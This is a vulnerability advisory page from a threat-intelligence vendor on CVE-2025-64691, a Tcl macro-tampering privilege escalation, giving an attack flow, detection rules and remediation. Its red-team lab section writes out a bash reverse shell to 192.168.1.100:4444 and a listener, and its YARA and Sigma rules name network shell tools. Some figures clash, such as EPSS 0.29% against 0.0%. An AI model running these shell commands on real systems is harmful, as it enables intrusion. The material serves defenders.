☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-64691

CVE-2025-64691 Privilege Escalation in Tcl
📅 PUBLISHED: 2026-01-16 00:06 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64691 is a high-severity privilege escalation vulnerability affecting Tcl Macro scripts within a Tcl-based application server environment. An authenticated attacker with standard OS user privileges can tamper with TCL Macro scripts, leading to arbitrary code execution at the OS system level. This could result in full compromise of the application server, including data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the high CVSS score (8.8) demands immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom Tcl application server issue. Organizations using Tcl-based application servers should review their software supply chain for any dependencies on Tcl Macro scripts and ensure they are not exposed to untrusted users.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Local (AV:L) – The attacker must have local access to the system.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Standard OS user account.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – Full data access.
  • Integrity Impact: High (I:H) – Full system modification.
  • Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical for environments where Tcl application servers are accessible to authenticated users. The lack of a patch and public exploit increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability lies in how the Tcl application server handles TCL Macro scripts. An authenticated standard user can modify or inject malicious code into these scripts. When the server executes the macros (likely with elevated privileges), the attacker's code runs in the context of the OS system user.

Root Cause: Improper access control or lack of integrity verification for TCL Macro script files. The server trusts the scripts without validating their origin or integrity, allowing a low-privileged user to overwrite them.

Attack Flow:

  1. Attacker gains initial access as a standard OS user (e.g., via phishing, weak credentials).
  2. Attacker identifies the location of TCL Macro scripts (e.g., /opt/tcl/macros/).
  3. Attacker modifies or replaces a macro script with malicious code (e.g., a reverse shell or privilege escalation payload).
  4. The Tcl application server executes the macro (e.g., on user request or scheduled task).
  5. The malicious code runs with system privileges, granting the attacker full control.

Potential Impact:

  • Full system compromise.
  • Data theft (databases, configuration files).
  • Lateral movement to other servers.
  • Installation of backdoors or ransomware.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

# Vulnerable: No integrity check on macro file
proc execute_macro {macro_name} {
    set macro_file "/opt/tcl/macros/$macro_name.tcl"
    if {[file exists $macro_file]} {
        source $macro_file
    }
}

Patched Code (Hypothetical):

# Patched: Verify file ownership and permissions
proc execute_macro {macro_name} {
    set macro_file "/opt/tcl/macros/$macro_name.tcl"
    if {[file exists $macro_file]} {
        # Ensure file is owned by trusted user and not writable by others
        set owner [file attributes $macro_file -owner]
        set perms [file attributes $macro_file -permissions]
        if {$owner eq "tcl_admin" && [string match "*-rw-r--r--*" $perms]} {
            source $macro_file
        } else {
            error "Macro file integrity check failed"
        }
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

  • Target: Tcl Application Server (e.g., Tcl 8.6 on Linux)
  • Attacker: Standard OS user (e.g., user1)

Exploitation Steps:

  1. Reconnaissance: Locate macro script directory.
    find / -name "*.tcl" -type f 2>/dev/null | grep -i macro
    
  2. Identify writable macro: Check permissions.
    ls -la /opt/tcl/macros/
    
  3. Craft malicious macro: Create a reverse shell payload.
    # malicious_macro.tcl
    exec /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
    
  4. Overwrite macro:
    cp malicious_macro.tcl /opt/tcl/macros/legit_macro.tcl
    
  5. Trigger execution: Wait for server to run the macro (e.g., via web request or cron job).
  6. Receive shell: On attacker machine.
    nc -lvnp 4444
    

No public exploit code is available.

Blue Team (Defender)

Detection & Response:

  1. Monitor file integrity: Use tools like AIDE or Tripwire to detect changes to macro directories.
  2. Audit permissions: Ensure macro files are owned by a dedicated service account and not writable by standard users.
  3. Log analysis: Look for unusual process executions from the Tcl server.
    grep "tclsh" /var/log/syslog | grep -i macro
    
  4. Network monitoring: Detect reverse shell connections (e.g., outbound connections to unusual ports).
  5. Honeypot macros: Deploy decoy macros that alert when accessed.

Indicators of Compromise (IOCs)

  • File Hashes: (None available, but monitor for modified .tcl files in macro directories)
  • Network Connections: Outbound connections from Tcl server to unknown IPs on ports 4444, 1337, etc.
  • Process Anomalies: tclsh or tcl processes spawning shells (/bin/bash, /bin/sh).
  • File System Changes: New or modified files in /opt/tcl/macros/ or similar paths.
  • User Account Activity: Unusual logins from standard users during off-hours.

Detection Engineering

YARA Rule

rule CVE_2025_64691_Tcl_Macro_Tampering {
    meta:
        description = "Detects malicious Tcl macro scripts attempting privilege escalation"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-64691"
    strings:
        $exec = "exec" nocase
        $socket = "socket" nocase
        $reverse = "reverse" nocase
        $bash = "/bin/bash" nocase
        $nc = "nc" nocase
    condition:
        (uint16(0) == 0x2123) and  // Tcl shebang (#!)
        (1 of ($exec, $socket, $reverse, $bash, $nc))
}

Sigma Rule

title: CVE-2025-64691 Tcl Macro Privilege Escalation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects execution of Tcl macros with suspicious commands
author: Valters IT
date: 2025-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/tclsh'
        CommandLine|contains: 
            - 'exec'
            - '/bin/bash'
            - 'nc'
            - 'socket'
    condition: selection
falsepositives:
    - Legitimate Tcl scripts using exec for system commands
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-64691 Tcl Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict file permissions: Ensure macro script directories are owned by a dedicated service account (e.g., tcl_admin) and have permissions 750 or stricter.
  2. Implement integrity monitoring: Use file integrity monitoring (FIM) tools to alert on changes to macro files.
  3. Apply principle of least privilege: Run the Tcl application server with a non-root service account.
  4. Network segmentation: Isolate the Tcl server from untrusted networks.

Long-term Fix:

  • Vendor must release a patch that validates macro script integrity (e.g., digital signatures or checksums).
  • Until then, consider disabling macro execution for untrusted users or implementing a whitelist of approved macros.

Workaround:

  • Use a wrapper script that checks file ownership and permissions before sourcing macros.
  • Example:
    #!/bin/bash
    MACRO_FILE="/opt/tcl/macros/$1.tcl"
    if [ "$(stat -c %U $MACRO_FILE)" == "tcl_admin" ] && [ "$(stat -c %a $MACRO_FILE)" == "644" ]; then
        tclsh $MACRO_FILE
    else
        echo "Macro integrity check failed"
    fi
    

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64691/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.